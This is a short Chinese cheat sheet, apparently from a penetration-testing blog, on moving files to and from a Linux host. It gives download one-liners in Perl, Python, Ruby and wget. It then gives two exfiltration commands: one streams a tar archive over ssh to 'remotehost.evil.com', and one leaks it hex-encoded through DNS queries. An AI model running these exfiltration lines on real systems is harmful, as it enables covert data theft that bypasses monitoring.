linux下文件传输

1、perl脚本文件下载 kali下测试成功,centos5.5下,由于没有LWP::Simple这个,导致下载失败

  1. #!/usr/bin/perl
  2. use LWP::Simple
  3. getstore("http://lemon.com/file.zip", "/root/1.zip");

2、python文件下载

  1. #!/usr/bin/python
  2. import urllib2
  3. u = urllib2.urlopen('http://lemon.com/file.zip')
  4. localFile = open('/root/1.zip', 'w')
  5. localFile.write(u.read())
  6. localFile.close()

3、ruby文件下载 centos5.5没有ruby环境

  1. #!/usr/bin/ruby
  2. require 'net/http'
  3. Net::HTTP.start("www.lemon.com") { |http|
  4. r = http.get("/file.zip")
  5. open("/root/1.zip", "wb") { |file|
  6. file.write(r.body)
  7. }
  8. }

4、wget文件下载

  1. wget http://lemon.com/file.zip -P /root/1.zip
  2. 其中-P是保存到指定目录

5、一边tar一边ssh上传

  1. tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"

6、利用dns传输数据

  1. tar zcf - localfolder | xxd -p -c 16 | while read line; do host $line.domain.com remotehost.evil.com; done

但是有时候会因为没找到而导致数据重复,对数据分析有点影响 linux下文件传输 - 图1